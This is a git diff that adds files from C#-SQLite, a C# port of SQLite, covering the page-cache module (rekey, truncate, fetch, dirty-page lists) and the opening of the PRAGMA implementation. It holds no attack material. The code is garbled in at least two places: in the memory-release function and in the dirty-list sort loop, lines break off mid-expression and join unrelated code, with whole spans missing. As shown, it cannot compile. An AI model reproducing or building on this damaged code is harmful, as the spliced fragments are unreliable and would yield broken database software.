); + PgHdr1 pp; + u32 h; + Debug.Assert( pPage.iKey == iOld ); + Debug.Assert( pPage.pCache == pCache ); + + pcache1EnterMutex(); + + h = iOld % pCache.nHash; + pp = pCache.apHash[h]; + while ( pp != pPage ) + { + pp = pp.pNext; + } + if ( pp == pCache.apHash[h] ) pCache.apHash[h] = pp.pNext; + else pp.pNext = pPage.pNext; + + h = iNew % pCache.nHash; + pPage.iKey = iNew; + pPage.pNext = pCache.apHash[h]; + pCache.apHash[h] = pPage; + + /* The xRekey() interface is only used to move pages earlier in the + ** database file (in order to move all free pages to the end of the + ** file where they can be truncated off.) Hence, it is not possible + ** for the new page number to be greater than the largest previously + ** fetched page. But we retain the following test in case xRekey() + ** begins to be used in different ways in the future. + */ + if ( NEVER( iNew > pCache.iMaxKey ) ) + { + pCache.iMaxKey = iNew; + } + + pcache1LeaveMutex(); + } + + /* + ** Implementation of the sqlite3_pcache.xTruncate method. + ** + ** Discard all unpinned pages in the cache with a page number equal to + ** or greater than parameter iLimit. Any pinned pages with a page number + ** equal to or greater than iLimit are implicitly unpinned. + */ + static void pcache1Truncate( sqlite3_pcache p, u32 iLimit ) + { + PCache1 pCache = (PCache1)p; + pcache1EnterMutex(); + if ( iLimit <= pCache.iMaxKey ) + { + pcache1TruncateUnsafe( pCache, iLimit ); + pCache.iMaxKey = iLimit - 1; + } + pcache1LeaveMutex(); + } + + /* + ** Implementation of the sqlite3_pcache.xDestroy method. + ** + ** Destroy a cache allocated using pcache1Create(). + */ + static void pcache1Destroy( ref sqlite3_pcache p ) + { + PCache1 pCache = p; + pcache1EnterMutex(); + pcache1TruncateUnsafe( pCache, 0 ); + pcache1.nMaxPage -= (int)pCache.nMax; + pcache1.nMinPage -= (int)pCache.nMin; + pcache1EnforceMaxPage(); + pcache1LeaveMutex(); + //sqlite3_free( ref pCache.apHash ); + //sqlite3_free( ref pCache ); + } + + /* + ** This function is called during initialization (sqlite3_initialize()) to + ** install the default pluggable cache module, assuming the user has not + ** already provided an alternative. + */ + static void sqlite3PCacheSetDefault() + { + sqlite3_pcache_methods defaultMethods = new sqlite3_pcache_methods( + 0, /* pArg */ + (dxPC_Init)pcache1Init, /* xInit */ + (dxPC_Shutdown)pcache1Shutdown, /* xShutdown */ + (dxPC_Create)pcache1Create, /* xCreate */ + (dxPC_Cachesize)pcache1Cachesize,/* xCachesize */ + (dxPC_Pagecount)pcache1Pagecount,/* xPagecount */ + (dxPC_Fetch)pcache1Fetch, /* xFetch */ + (dxPC_Unpin)pcache1Unpin, /* xUnpin */ + (dxPC_Rekey)pcache1Rekey, /* xRekey */ + (dxPC_Truncate)pcache1Truncate, /* xTruncate */ + (dxPC_Destroy)pcache1Destroy /* xDestroy */ + ); + sqlite3_config( SQLITE_CONFIG_PCACHE, defaultMethods ); + } + +#if SQLITE_ENABLE_MEMORY_MANAGEMENT +/* +** This function is called to free superfluous dynamically allocated memory +** held by the pager system. Memory in use by any SQLite pager allocated +** by the current thread may be //sqlite3_free()ed. +** +** nReq is the number of bytes of memory required. Once this much has +** been released, the function returns. The return value is the total number +** of bytes of memory released. +*/ +int sqlite3PcacheReleaseMemory(int nReq){ +int nFree = 0; +if( pcache1.pStart==0 ){ +PgHdr1 p; +pcache1EnterMutex(); +while( (nReq<0 || nFree 0 ); + + /* If the pluggable cache (sqlite3_pcache*) has not been allocated, + ** allocate it now. + */ + if ( null == pCache.pCache && createFlag != 0 ) + { + sqlite3_pcache p; + int nByte; + nByte = pCache.szPage + pCache.szExtra + 0;// sizeof( PgHdr ); + p = sqlite3GlobalConfig.pcache.xCreate( nByte, pCache.bPurgeable ? 1 : 0 ); + if ( null == p ) + { + return SQLITE_NOMEM; + } + sqlite3GlobalConfig.pcache.xCachesize( p, pCache.nMax ); + pCache.pCache = p; + } + + eCreate = createFlag * ( 1 + ( ( !pCache.bPurgeable || null == pCache.pDirty ) ? 1 : 0 ) ); + + if ( pCache.pCache != null ) + { + pPage = sqlite3GlobalConfig.pcache.xFetch( pCache.pCache, pgno, eCreate ); + } + + if ( null == pPage && eCreate == 1 ) + { + PgHdr pPg; + + /* Find a dirty page to write-out and recycle. First try to find a + ** page that does not require a journal-sync (one with PGHDR_NEED_SYNC + ** cleared), but if that is not possible settle for any other + ** unreferenced dirty page. + */ +#if SQLITE_ENABLE_EXPENSIVE_ASSERT +expensive_assert( pcacheCheckSynced(pCache) ); +#endif + for ( pPg = pCache.pSynced ; + pPg != null && ( pPg.nRef != 0 || ( pPg.flags & PGHDR_NEED_SYNC ) != 0 ) ; + pPg = pPg.pDirtyPrev + ) ; + if ( null == pPg ) + { + for ( pPg = pCache.pDirtyTail ; pPg != null && pPg.nRef != 0 ; pPg = pPg.pDirtyPrev ) ; + } + if ( pPg != null ) + { + int rc; + rc = pCache.xStress( pCache.pStress, pPg ); + if ( rc != SQLITE_OK && rc != SQLITE_BUSY ) + { + return rc; + } + } + + pPage = sqlite3GlobalConfig.pcache.xFetch( pCache.pCache, pgno, 2 ); + } + + if ( pPage != null ) + { + if ( null == pPage.pData ) + { + pPage.pData = new byte[pCache.szPage];//memset( pPage, 0, sizeof( PgHdr ) + pCache.szExtra ); + //pPage.pExtra = (void*)&pPage[1]; + //pPage.pData = (void*)&( (char*)pPage )[sizeof( PgHdr ) + pCache.szExtra]; + pPage.pCache = pCache; + pPage.pgno = pgno; + } + Debug.Assert( pPage.pCache == pCache ); + Debug.Assert( pPage.pgno == pgno ); + //Debug.Assert( pPage.pExtra == (void*)&pPage[1] ); + if ( 0 == pPage.nRef ) + { + pCache.nRef++; + } + pPage.nRef++; + if ( pgno == 1 ) + { + pCache.pPage1 = pPage; + } + } + ppPage = pPage; + return ( pPage == null && eCreate != 0 ) ? SQLITE_NOMEM : SQLITE_OK; + } + + /* + ** Decrement the reference count on a page. If the page is clean and the + ** reference count drops to 0, then it is made elible for recycling. + */ + static void sqlite3PcacheRelease( PgHdr p ) + { + Debug.Assert( p.nRef > 0 ); + p.nRef--; + if ( p.nRef == 0 ) + { + PCache pCache = p.pCache; + pCache.nRef--; + if ( ( p.flags & PGHDR_DIRTY ) == 0 ) + { + pcacheUnpin( p ); + } + else + { + /* Move the page to the head of the dirty list. */ + pcacheRemoveFromDirtyList( p ); + pcacheAddToDirtyList( p ); + } + } + } + + /* + ** Increase the reference count of a supplied page by 1. + */ + static void sqlite3PcacheRef( PgHdr p ) + { + Debug.Assert( p.nRef > 0 ); + p.nRef++; + } + + /* + ** Drop a page from the cache. There must be exactly one reference to the + ** page. This function deletes that reference, so after it returns the + ** page pointed to by p is invalid. + */ + static void sqlite3PcacheDrop( PgHdr p ) + { + PCache pCache; + Debug.Assert( p.nRef == 1 ); + if ( ( p.flags & PGHDR_DIRTY ) != 0 ) + { + pcacheRemoveFromDirtyList( p ); + } + pCache = p.pCache; + pCache.nRef--; + if ( p.pgno == 1 ) + { + pCache.pPage1 = null; + } + sqlite3GlobalConfig.pcache.xUnpin( pCache.pCache, p, 1 ); + } + + /* + ** Make sure the page is marked as dirty. If it isn't dirty already, + ** make it so. + */ + static void sqlite3PcacheMakeDirty( PgHdr p ) + { + p.flags &= ~PGHDR_DONT_WRITE; + Debug.Assert( p.nRef > 0 ); + if ( 0 == ( p.flags & PGHDR_DIRTY ) ) + { + p.flags |= PGHDR_DIRTY; + pcacheAddToDirtyList( p ); + } + } + + /* + ** Make sure the page is marked as clean. If it isn't clean already, + ** make it so. + */ + static void sqlite3PcacheMakeClean( PgHdr p ) + { + if ( ( p.flags & PGHDR_DIRTY ) != 0 ) + { + pcacheRemoveFromDirtyList( p ); + p.flags &= ~( PGHDR_DIRTY | PGHDR_NEED_SYNC ); + if ( p.nRef == 0 ) + { + pcacheUnpin( p ); + } + } + } + + /* + ** Make every page in the cache clean. + */ + static void sqlite3PcacheCleanAll( PCache pCache ) + { + PgHdr p; + while ( ( p = pCache.pDirty ) != null ) + { + sqlite3PcacheMakeClean( p ); + } + } + + /* + ** Clear the PGHDR_NEED_SYNC flag from all dirty pages. + */ + static void sqlite3PcacheClearSyncFlags( PCache pCache ) + { + PgHdr p; + for ( p = pCache.pDirty ; p != null ; p = p.pDirtyNext ) + { + p.flags &= ~PGHDR_NEED_SYNC; + } + pCache.pSynced = pCache.pDirtyTail; + } + + /* + ** Change the page number of page p to newPgno. + */ + static void sqlite3PcacheMove( PgHdr p, Pgno newPgno ) + { + PCache pCache = p.pCache; + Debug.Assert( p.nRef > 0 ); + Debug.Assert( newPgno > 0 ); + sqlite3GlobalConfig.pcache.xRekey( pCache.pCache, p, p.pgno, newPgno ); + p.pgno = newPgno; + if ( ( p.flags & PGHDR_DIRTY ) != 0 && ( p.flags & PGHDR_NEED_SYNC ) != 0 ) + { + pcacheRemoveFromDirtyList( p ); + pcacheAddToDirtyList( p ); + } + } + + /* + ** Drop every cache entry whose page number is greater than "pgno". The + ** caller must ensure that there are no outstanding references to any pages + ** other than page 1 with a page number greater than pgno. + ** + ** If there is a reference to page 1 and the pgno parameter passed to this + ** function is 0, then the data area associated with page 1 is zeroed, but + ** the page object is not dropped. + */ + static void sqlite3PcacheTruncate( PCache pCache, u32 pgno ) + { + if ( pCache.pCache != null ) + { + PgHdr p; + PgHdr pNext; + for ( p = pCache.pDirty ; p != null ; p = pNext ) + { + pNext = p.pDirtyNext; + if ( p.pgno > pgno ) + { + Debug.Assert( ( p.flags & PGHDR_DIRTY ) != 0 ); + sqlite3PcacheMakeClean( p ); + } + } + if ( pgno == 0 && pCache.pPage1 != null ) + { + pCache.pPage1.pData = new byte[pCache.szPage];// memset( pCache.pPage1.pData, 0, pCache.szPage ); + pgno = 1; + } + sqlite3GlobalConfig.pcache.xTruncate( pCache.pCache, pgno + 1 ); + } + } + + /* + ** Close a cache. + */ + static void sqlite3PcacheClose( PCache pCache ) + { + if ( pCache.pCache != null ) + { + sqlite3GlobalConfig.pcache.xDestroy( ref pCache.pCache ); + } + } + + /* + ** Discard the contents of the cache. + */ + static void sqlite3PcacheClear( PCache pCache ) + { + sqlite3PcacheTruncate( pCache, 0 ); + } + + + /* + ** Merge two lists of pages connected by pDirty and in pgno order. + ** Do not both fixing the pDirtyPrev pointers. + */ + static PgHdr pcacheMergeDirtyList( PgHdr pA, PgHdr pB ) + { + PgHdr result = new PgHdr(); + PgHdr pTail = result; + while ( pA != null && pB != null ) + { + if ( pA.pgno < pB.pgno ) + { + pTail.pDirty = pA; + pTail = pA; + pA = pA.pDirty; + } + else + { + pTail.pDirty = pB; + pTail = pB; + pB = pB.pDirty; + } + } + if ( pA != null ) + { + pTail.pDirty = pA; + } + else if ( pB != null ) + { + pTail.pDirty = pB; + } + else + { + pTail.pDirty = null; + } + return result.pDirty; + } + + /* + ** Sort the list of pages in accending order by pgno. Pages are + ** connected by pDirty pointers. The pDirtyPrev pointers are + ** corrupted by this sort. + ** + ** Since there cannot be more than 2^31 distinct pages in a database, + ** there cannot be more than 31 buckets required by the merge sorter. + ** One extra bucket is added to catch overflow in case something + ** ever changes to make the previous sentence incorrect. + */ + //#define N_SORT_BUCKET 32 + const int N_SORT_BUCKET = 32; + + static PgHdr pcacheSortDirtyList( PgHdr pIn ) + { + PgHdr[] a; PgHdr p;//a[N_SORT_BUCKET], p; + int i; + a = new PgHdr[N_SORT_BUCKET];//memset(a, 0, sizeof(a)); + while ( pIn != null ) + { + p = pIn; + pIn = p.pDirty; + p.pDirty = null; + for ( i = 0 ; ALWAYS(i x. Reset the cache if x==0 */ + //void sqlite3PcacheTruncate(PCache*, Pgno x); + + /* Get a list of all dirty pages in the cache, sorted by page number */ + //PgHdr *sqlite3PcacheDirtyList(PCache*); + + /* Reset and close the cache object */ + //void sqlite3PcacheClose(PCache*); + + /* Clear flags from pages of the page cache */ + //void sqlite3PcacheClearSyncFlags(PCache *); + + /* Discard the contents of the cache */ + //void sqlite3PcacheClear(PCache*); + + /* Return the total number of outstanding page references */ + //int sqlite3PcacheRefCount(PCache*); + + /* Increment the reference count of an existing page */ + //void sqlite3PcacheRef(PgHdr*); + + //int sqlite3PcachePageRefcount(PgHdr*); + + + /* Return the total number of pages stored in the cache */ + //int sqlite3PcachePagecount(PCache*); + +#if SQLITE_CHECK_PAGES +/* Iterate through all dirty pages currently stored in the cache. This +** interface is only available if SQLITE_CHECK_PAGES is defined when the +** library is built. +*/ + +//void sqlite3PcacheIterateDirty(PCache pCache, void (*xIter)(PgHdr *)); +#endif + + /* Set and get the suggested cache-size for the specified pager-cache. +** +** If no global maximum is configured, then the system attempts to limit +** the total number of pages cached by purgeable pager-caches to the sum +** of the suggested cache-sizes. +*/ + //void sqlite3PcacheSetCachesize(PCache *, int); +#if SQLITE_TEST + //int sqlite3PcacheGetCachesize(PCache *); +#endif + +#if SQLITE_ENABLE_MEMORY_MANAGEMENT +/* Try to return memory used by the pcache module to the main memory heap */ +//int sqlite3PcacheReleaseMemory(int); +#endif + +#if SQLITE_TEST + //void sqlite3PcacheStats(int*,int*,int*,int*); +#endif + + //void sqlite3PCacheSetDefault(void); + +#endif //* _PCACHE_H_ */ + } +} diff --git a/SQLite/src/pragma_c.cs b/SQLite/src/pragma_c.cs new file mode 100644 index 0000000..352790e --- /dev/null +++ b/SQLite/src/pragma_c.cs @@ -0,0 +1,1706 @@ +using System; +using System.Diagnostics; +using System.Text; + +using i64 = System.Int64; +using u8 = System.Byte; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2003 April 6 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains code used to implement the PRAGMA command. + ** + ** $Id: pragma.c,v 1.214 2009/07/02 07:47:33 danielk1977 Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* Ignore this whole file if pragmas are disabled + */ +#if !SQLITE_OMIT_PRAGMA + + /* +** Interpret the given string as a safety level. Return 0 for OFF, +** 1 for ON or NORMAL and 2 for FULL. Return 1 for an empty or +** unrecognized string argument. +** +** Note that the values returned are one less that the values that +** should be passed into sqlite3BtreeSetSafetyLevel(). The is done +** to support legacy SQL code. The safety level used to be boolean +** and older scripts may have used numbers 0 for OFF and 1 for ON. +*/ + static u8 getSafetyLevel( string z ) + { + // /* 123456789 123456789 */ + string zText = "onoffalseyestruefull"; + int[] iOffset = new int[] { 0, 1, 2, 4, 9, 12, 16 }; + int[] iLength = new int[] { 2, 2, 3, 5, 3, 4, 4 }; + u8[] iValue = new u8[] { 1, 0, 0, 0, 1, 1, 2 }; + int i, n; + if ( sqlite3Isdigit( z[0] ) ) + { + return (u8)atoi( z ); + } + n = sqlite3Strlen30( z ); + for ( i = 0 ; i < ArraySize( iLength ) ; i++ ) + { + if ( iLength[i] == n && sqlite3StrNICmp( zText.Substring( iOffset[i] ), z, n ) == 0 ) + { + return iValue[i]; + } + } + return 1; + } + + /* + ** Interpret the given string as a boolean value. + */ + static u8 getBoolean( string z ) + { + return (u8)( getSafetyLevel( z ) & 1 ); + } + + /* + ** Interpret the given string as a locking mode value. + */ + static int getLockingMode( string z ) + { + if ( z != null ) + { + if ( 0 == sqlite3StrICmp( z, "exclusive" ) ) return PAGER_LOCKINGMODE_EXCLUSIVE; + if ( 0 == sqlite3StrICmp( z, "normal" ) ) return PAGER_LOCKINGMODE_NORMAL; + } + return PAGER_LOCKINGMODE_QUERY; + } + +#if !SQLITE_OMIT_AUTOVACUUM + /* +** Interpret the given string as an auto-vacuum mode value. +** +** The following strings, "none", "full" and "incremental" are +** acceptable, as are their numeric equivalents: 0, 1 and 2 respectively. +*/ + static u8 getAutoVacuum( string z ) + { + int i; + if ( 0 == sqlite3StrICmp( z, "none" ) ) return BTREE_AUTOVACUUM_NONE; + if ( 0 == sqlite3StrICmp( z, "full" ) ) return BTREE_AUTOVACUUM_FULL; + if ( 0 == sqlite3StrICmp( z, "incremental" ) ) return BTREE_AUTOVACUUM_INCR; + i = atoi( z ); + return (u8)( ( i >= 0 && i <= 2 ) ? i : 0 ); + } +#endif // * if !SQLITE_OMIT_AUTOVACUUM */ + +#if !SQLITE_OMIT_PAGER_PRAGMAS + /* +** Interpret the given string as a temp db location. Return 1 for file +** backed temporary databases, 2 for the Red-Black tree in memory database +** and 0 to use the compile-time default. +*/ + static int getTempStore( string z ) + { + if ( z[0] >= '0' && z[0] <= '2' ) + { + return z[0] - '0'; + } + else if ( sqlite3StrICmp( z, "file" ) == 0 ) + { + return 1; + } + else if ( sqlite3StrICmp( z, "memory" ) == 0 ) + { + return 2; + } + else + { + return 0; + } + } +#endif // * SQLITE_PAGER_PRAGMAS */ + +#if !SQLITE_OMIT_PAGER_PRAGMAS + /* +** Invalidate temp storage, either when the temp storage is changed +** from default, or when 'file' and the temp_store_directory has changed +*/ + static int invalidateTempStorage( Parse pParse ) + { + sqlite3 db = pParse.db; + if ( db.aDb[1].pBt != null ) + { + if ( 0 == db.autoCommit || sqlite3BtreeIsInReadTrans( db.aDb[1].pBt ) ) + { + sqlite3ErrorMsg( pParse, "temporary storage cannot be changed " + + "from within a transaction" ); + return SQLITE_ERROR; + } + sqlite3BtreeClose( ref db.aDb[1].pBt ); + db.aDb[1].pBt = null; + sqlite3ResetInternalSchema( db, 0 ); + } + return SQLITE_OK; + } +#endif // * SQLITE_PAGER_PRAGMAS */ + +#if !SQLITE_OMIT_PAGER_PRAGMAS + /* +** If the TEMP database is open, close it and mark the database schema +** as needing reloading. This must be done when using the SQLITE_TEMP_STORE +** or DEFAULT_TEMP_STORE pragmas. +*/ + static int changeTempStorage( Parse pParse, string zStorageType ) + { + int ts = getTempStore( zStorageType ); + sqlite3 db = pParse.db; + if ( db.temp_store == ts ) return SQLITE_OK; + if ( invalidateTempStorage( pParse ) != SQLITE_OK ) + { + return SQLITE_ERROR; + } + db.temp_store = (u8)ts; + return SQLITE_OK; + } +#endif // * SQLITE_PAGER_PRAGMAS */ + + /* +** Generate code to return a single integer value. +*/ + static void returnSingleInt( Parse pParse, string zLabel, i64 value ) + { + Vdbe v = sqlite3GetVdbe( pParse ); + int mem = ++pParse.nMem; + //i64* pI64 = sqlite3DbMallocRaw( pParse->db, sizeof( value ) ); + //if ( pI64 ) + //{ + // memcpy( pI64, &value, sizeof( value ) ); + //} + //sqlite3VdbeAddOp4( v, OP_Int64, 0, mem, 0, (char*)pI64, P4_INT64 ); + sqlite3VdbeAddOp4( v, OP_Int64, 0, mem, 0, value, P4_INT64 ); + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, zLabel, SQLITE_STATIC ); + sqlite3VdbeAddOp2( v, OP_ResultRow, mem, 1 ); + } + +#if !SQLITE_OMIT_FLAG_PRAGMAS + /* +** Check to see if zRight and zLeft refer to a pragma that queries +** or changes one of the flags in db.flags. Return 1 if so and 0 if not. +** Also, implement the pragma. +*/ + struct sPragmaType + { + public string zName; /* Name of the pragma */ + public int mask; /* Mask for the db.flags value */ + public sPragmaType( string zName, int mask ) + { + this.zName = zName; + this.mask = mask; + } + } + static int flagPragma( Parse pParse, string zLeft, string zRight ) + { + sPragmaType[] aPragma = new sPragmaType[]{ +new sPragmaType( "full_column_names", SQLITE_FullColNames ), +new sPragmaType( "short_column_names", SQLITE_ShortColNames ), +new sPragmaType( "count_changes", SQLITE_CountRows ), +new sPragmaType( "empty_result_callbacks", SQLITE_NullCallback ), +new sPragmaType( "legacy_file_format", SQLITE_LegacyFileFmt ), +new sPragmaType( "fullfsync", SQLITE_FullFSync ), +new sPragmaType( "reverse_unordered_selects", SQLITE_ReverseOrder ), +#if SQLITE_DEBUG +new sPragmaType( "sql_trace", SQLITE_SqlTrace ), +new sPragmaType( "vdbe_listing", SQLITE_VdbeListing ), +new sPragmaType( "vdbe_trace", SQLITE_VdbeTrace ), +#endif +#if !SQLITE_OMIT_CHECK +new sPragmaType( "ignore_check_constraints", SQLITE_IgnoreChecks ), +#endif +/* The following is VERY experimental */ +new sPragmaType( "writable_schema", SQLITE_WriteSchema|SQLITE_RecoveryMode ), +new sPragmaType( "omit_readlock", SQLITE_NoReadlock ), + +/* TODO: Maybe it shouldn't be possible to change the ReadUncommitted +** flag if there are any active statements. */ +new sPragmaType( "read_uncommitted", SQLITE_ReadUncommitted ), +}; + int i; + sPragmaType p; + for ( i = 0 ; i < ArraySize( aPragma ) ; i++ )//, p++) + { + p = aPragma[i]; + if ( sqlite3StrICmp( zLeft, p.zName ) == 0 ) + { + sqlite3 db = pParse.db; + Vdbe v; + v = sqlite3GetVdbe( pParse ); + Debug.Assert( v != null ); /* Already allocated by sqlite3Pragma() */ + if ( ALWAYS( v ) ) + { + if ( null == zRight ) + { + returnSingleInt( pParse, p.zName, ( ( db.flags & p.mask ) != 0 ) ? 1 : 0 ); + } + else + { + if ( getBoolean( zRight ) != 0 ) + { + db.flags |= p.mask; + } + else + { + db.flags &= ~p.mask; + } + + /* Many of the flag-pragmas modify the code generated by the SQL + ** compiler (eg. count_changes). So add an opcode to expire all + ** compiled SQL statements after modifying a pragma value. + */ + sqlite3VdbeAddOp2( v, OP_Expire, 0, 0 ); + } + } + + return 1; + } + } + return 0; + } +#endif // * SQLITE_OMIT_FLAG_PRAGMAS */ + + /* +** Return a human-readable name for a constraint resolution action. +*/ + static string actionName( int action ) + { + string zName; + switch ( action ) + { + case OE_SetNull: zName = "SET NULL"; break; + case OE_SetDflt: zName = "SET DEFAULT"; break; + case OE_Cascade: zName = "CASCADE"; break; + default: zName = "RESTRICT"; + Debug.Assert( action == OE_Restrict ); break; + } + return zName; + } + + /* + ** Process a pragma statement. + ** + ** Pragmas are of this form: + ** + ** PRAGMA [database.]id [= value] + ** + ** The identifier might also be a string. The value is a string, and + ** identifier, or a number. If minusFlag is true, then the value is + ** a number that was preceded by a minus sign. + ** + ** If the left side is "database.id" then pId1 is the database name + ** and pId2 is the id. If the left side is just "id" then pId1 is the + ** id and pId2 is any empty string. + */ + class EncName + { + public string zName; + public u8 enc; + + public EncName( string zName, u8 enc ) + { + this.zName = zName; + this.enc = enc; + } + }; + + // OVERLOADS, so I don't need to rewrite parse.c + static void sqlite3Pragma( Parse pParse, Token pId1, Token pId2, int null_4, int minusFlag ) + { sqlite3Pragma( pParse, pId1, pId2, null, minusFlag ); } + static void sqlite3Pragma( + Parse pParse, + Token pId1, /* First part of [database.]id field */ + Token pId2, /* Second part of [database.]id field, or NULL */ + Token pValue, /* Token for , or NULL */ + int minusFlag /* True if a '-' sign preceded */ + ) + { + string zLeft = null; /* Nul-terminated UTF-8 string */ + string zRight = null; /* Nul-terminated UTF-8 string , or NULL */ + string zDb = null; /* The database name */ + Token pId = new Token();/* Pointer to token */ + int iDb; /* Database index for */ + sqlite3 db = pParse.db; + Db pDb; + Vdbe v = pParse.pVdbe = sqlite3VdbeCreate( db ); + if ( v == null ) return; + pParse.nMem = 2; + + /* Interpret the [database.] part of the pragma statement. iDb is the + ** index of the database this pragma is being applied to in db.aDb[]. */ + iDb = sqlite3TwoPartName( pParse, pId1, pId2, ref pId ); + if ( iDb < 0 ) return; + pDb = db.aDb[iDb]; + + /* If the temp database has been explicitly named as part of the + ** pragma, make sure it is open. + */ + if ( iDb == 1 && sqlite3OpenTempDatabase( pParse ) != 0 ) + { + return; + } + + zLeft = sqlite3NameFromToken( db, pId ); + if ( zLeft == "" ) return; + if ( minusFlag != 0 ) + { + zRight = ( pValue == null ) ? "" : sqlite3MPrintf( db, "-%T", pValue ); + } + else + { + zRight = sqlite3NameFromToken( db, pValue ); + } + + Debug.Assert( pId2 != null ); + zDb = pId2.n > 0 ? pDb.zName : null; +#if !SQLITE_OMIT_AUTHORIZATION +if ( sqlite3AuthCheck( pParse, SQLITE_PRAGMA, zLeft, zRight, zDb ) ) +{ +goto pragma_out; +} +#endif +#if !SQLITE_OMIT_PAGER_PRAGMAS + /* +** PRAGMA [database.]default_cache_size +** PRAGMA [database.]default_cache_size=N +** +** The first form reports the current persistent setting for the +** page cache size. The value returned is the maximum number of +** pages in the page cache. The second form sets both the current +** page cache size value and the persistent page cache size value +** stored in the database file. +** +** The default cache size is stored in meta-value 2 of page 1 of the +** database file. The cache size is actually the absolute value of +** this memory location. The sign of meta-value 2 determines the +** synchronous setting. A negative value means synchronous is off +** and a positive value means synchronous is on. +*/ + if ( sqlite3StrICmp( zLeft, "default_cache_size" ) == 0 ) + { + VdbeOpList[] getCacheSize = new VdbeOpList[]{ +new VdbeOpList( OP_Transaction, 0, 0, 0), /* 0 */ +new VdbeOpList( OP_ReadCookie, 0, 1, BTREE_DEFAULT_CACHE_SIZE), /* 1 */ +new VdbeOpList( OP_IfPos, 1, 7, 0), +new VdbeOpList( OP_Integer, 0, 2, 0), +new VdbeOpList( OP_Subtract, 1, 2, 1), +new VdbeOpList( OP_IfPos, 1, 7, 0), +new VdbeOpList( OP_Integer, 0, 1, 0), /* 6 */ +new VdbeOpList( OP_ResultRow, 1, 1, 0), +}; + int addr; + if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; + sqlite3VdbeUsesBtree( v, iDb ); + if ( null == zRight ) + { + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "cache_size", SQLITE_STATIC ); + pParse.nMem += 2; + addr = sqlite3VdbeAddOpList( v, getCacheSize.Length, getCacheSize ); + sqlite3VdbeChangeP1( v, addr, iDb ); + sqlite3VdbeChangeP1( v, addr + 1, iDb ); + sqlite3VdbeChangeP1( v, addr + 6, SQLITE_DEFAULT_CACHE_SIZE ); + } + else + { + int size = atoi( zRight ); + if ( size < 0 ) size = -size; + sqlite3BeginWriteOperation( pParse, 0, iDb ); + sqlite3VdbeAddOp2( v, OP_Integer, size, 1 ); + sqlite3VdbeAddOp3( v, OP_ReadCookie, iDb, 2, BTREE_DEFAULT_CACHE_SIZE ); + addr = sqlite3VdbeAddOp2( v, OP_IfPos, 2, 0 ); + sqlite3VdbeAddOp2( v, OP_Integer, -size, 1 ); + sqlite3VdbeJumpHere( v, addr ); + sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_DEFAULT_CACHE_SIZE, 1 ); + pDb.pSchema.cache_size = size; + sqlite3BtreeSetCacheSize( pDb.pBt, pDb.pSchema.cache_size ); + } + } + else + + /* + ** PRAGMA [database.]page_size + ** PRAGMA [database.]page_size=N + ** + ** The first form reports the current setting for the + ** database page size in bytes. The second form sets the + ** database page size value. The value can only be set if + ** the database has not yet been created. + */ + if ( sqlite3StrICmp( zLeft, "page_size" ) == 0 ) + { + Btree pBt = pDb.pBt; + Debug.Assert( pBt != null ); + if ( null == zRight ) + { + int size = ALWAYS( pBt ) ? sqlite3BtreeGetPageSize( pBt ) : 0; + returnSingleInt( pParse, "page_size", size ); + } + else + { + /* Malloc may fail when setting the page-size, as there is an internal + ** buffer that the pager module resizes using sqlite3_realloc(). + */ + db.nextPagesize = atoi( zRight ); + if ( SQLITE_NOMEM == sqlite3BtreeSetPageSize( pBt, db.nextPagesize, -1, 0 ) ) + { + //// db.mallocFailed = 1; + } + } + } + else + + /* + ** PRAGMA [database.]max_page_count + ** PRAGMA [database.]max_page_count=N + ** + ** The first form reports the current setting for the + ** maximum number of pages in the database file. The + ** second form attempts to change this setting. Both + ** forms return the current setting. + */ + if ( sqlite3StrICmp( zLeft, "max_page_count" ) == 0 ) + { + Btree pBt = pDb.pBt; + int newMax = 0; + Debug.Assert( pBt != null ); + if ( zRight != null ) + { + newMax = atoi( zRight ); + } + if ( ALWAYS( pBt ) ) + { + newMax = (int)sqlite3BtreeMaxPageCount( pBt, newMax ); + } + returnSingleInt( pParse, "max_page_count", newMax ); + } + else + + /* + ** PRAGMA [database.]page_count + ** + ** Return the number of pages in the specified database. + */ + if ( sqlite3StrICmp( zLeft, "page_count" ) == 0 ) + { + int iReg; + if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; + sqlite3CodeVerifySchema( pParse, iDb ); + iReg = ++pParse.nMem; + sqlite3VdbeAddOp2( v, OP_Pagecount, iDb, iReg ); + sqlite3VdbeAddOp2( v, OP_ResultRow, iReg, 1 ); + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "page_count", SQLITE_STATIC ); + } + else + + /* + ** PRAGMA [database.]page_count + ** + ** Return the number of pages in the specified database. + */ + if ( zLeft == "page_count" ) + { + Vdbe _v; + int iReg; + _v = sqlite3GetVdbe( pParse ); + if ( _v == null || sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; + sqlite3CodeVerifySchema( pParse, iDb ); + iReg = ++pParse.nMem; + sqlite3VdbeAddOp2( _v, OP_Pagecount, iDb, iReg ); + sqlite3VdbeAddOp2( _v, OP_ResultRow, iReg, 1 ); + sqlite3VdbeSetNumCols( _v, 1 ); + sqlite3VdbeSetColName( _v, 0, COLNAME_NAME, "page_count", SQLITE_STATIC ); + } + else + + /* + ** PRAGMA [database.]locking_mode + ** PRAGMA [database.]locking_mode = (normal|exclusive) + */ + if ( sqlite3StrICmp( zLeft, "locking_mode" ) == 0 ) + { + string zRet = "normal"; + int eMode = getLockingMode( zRight ); + + if ( pId2.n == 0 && eMode == PAGER_LOCKINGMODE_QUERY ) + { + /* Simple "PRAGMA locking_mode;" statement. This is a query for + ** the current default locking mode (which may be different to + ** the locking-mode of the main database). + */ + eMode = db.dfltLockMode; + } + else + { + Pager pPager; + if ( pId2.n == 0 ) + { + /* This indicates that no database name was specified as part + ** of the PRAGMA command. In this case the locking-mode must be + ** set on all attached 